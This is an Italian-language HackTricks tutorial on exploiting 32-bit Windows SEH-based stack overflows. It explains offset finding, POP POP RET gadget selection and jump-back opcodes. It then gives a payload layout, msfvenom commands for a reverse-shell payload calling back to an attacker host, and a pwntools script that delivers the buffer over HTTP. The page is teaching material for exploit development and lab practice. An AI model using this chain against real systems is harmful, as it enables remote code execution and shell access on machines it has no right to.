Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

SEH-based exploitation è una tecnica classica per Windows x86 che sfrutta la catena dello Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte

  • nSEH: pointer to the next SEH record, and
  • SEH: pointer to the exception handler function

un attacker può prendere il controllo dell'esecuzione tramite:

  1. Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene dispatchata un'eccezione il gadget torni in byte controllati dall'attacker, e
  2. Usare nSEH per reindirizzare l'esecuzione (tipicamente un short jump) indietro nel grande buffer overflow dove risiede lo shellcode.

Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e HTTP parsing.


Trovare offset esatti (nSEH / SEH)

  • Causare il crash del processo e verificare che la catena SEH sia stata sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view).
  • Inviare un pattern ciclico come dati di overflow e calcolare gli offset dei due dword che finiscono in nSEH e SEH.

Esempio con peda/GEF/pwntools su un body POST di 1000 byte:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Valida posizionando dei marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile.


Scelta di un POP POP RET (SEH gadget)

Ti serve una sequenza POP POP RET per eseguire l'unwind del frame SEH e tornare ai byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR:

  • Mona (Immunity/WinDbg): !mona modules poi !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH per elencare POP POP RET gadgets e lo stato di SafeSEH.

Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., p32(0x004094D8)). Preferisci gadget all'interno del binario vulnerabile se le protezioni lo permettono.


Tecnica di jump-back (short + near jmp)

nSEH è lungo solo 4 byte, che può contenere al massimo un short jump di 2 byte (EB xx) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH.

Con nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Idea di layout per un payload di 1000 byte con nSEH all'offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Flusso di esecuzione:

  • Si verifica un'eccezione e il dispatcher utilizza la SEH sovrascritta.
  • POP POP RET effettua l'unwind verso il nostro nSEH.
  • nSEH esegue jmp short -8 entrando nel near jump di 5 byte.
  • Il near jump atterra all'inizio del nostro buffer dove risiedono il NOP sled + shellcode.

Caratteri problematici

Costruisci una stringa completa di badchar e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono alterati dal parser del target. Per gli overflow basati su HTTP, \x00\x0a\x0d sono quasi sempre esclusi.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare le variazioni di posizionamento.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

Se generato al volo, il formato hex è comodo da incorporare e per l'unhex in Python:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Consegna via HTTP (CRLF precisi + Content-Length)

Quando il vettore vulnerabile è un HTTP request body, costruisci una raw request con CRLF esatti e Content-Length corretta in modo che il server legga l'intero corpo in overflow.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Strumenti

  • x32dbg/x64dbg per osservare la catena SEH e analizzare il crash.
  • ERC.Xdbg (x64dbg plugin) per enumerare SEH gadgets: ERC --SEH.
  • Mona come alternativa: !mona modules, !mona seh.
  • nasmshell per assemblare short/near jumps e copiare raw opcodes.
  • pwntools per creare payload di rete precisi.

Note e avvertenze

  • Si applica solo ai processi x86. x64 usa uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile.
  • Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti, trovare un modulo non protetto caricato nel processo.
  • I watchdog di servizio che riavviano automaticamente dopo un crash possono facilitare lo sviluppo iterativo dell'exploit.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks